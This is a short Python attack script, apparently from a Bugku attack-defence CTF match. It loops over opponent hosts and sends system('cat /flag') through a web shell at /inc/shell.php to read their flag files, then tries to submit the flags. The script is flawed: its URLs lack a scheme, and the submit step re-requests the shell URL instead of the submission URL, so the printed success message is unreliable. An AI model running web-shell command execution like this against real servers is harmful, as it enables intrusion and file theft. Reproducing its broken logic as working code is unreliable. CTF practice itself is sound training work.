import requests
ip=[182,206,234]
for i in ip:
    url="192-168-1-"+str(i)+".pvp3474.bugku.cn/inc/shell.php?s=system('cat /flag');"
    try:
        r=requests.get(url)
        flag = r.content.decode('utf-8')
        url2 = "https://ctf.bugku.com/pvp/submit.html?token=192-168-1-107.pvp3474.bugku.cn&flag=" + flag
        try:
            r = requests.get(url).status_code
            if r == 200:
                print("提交成功！！！")
        except:
            pass
    except:
        pass
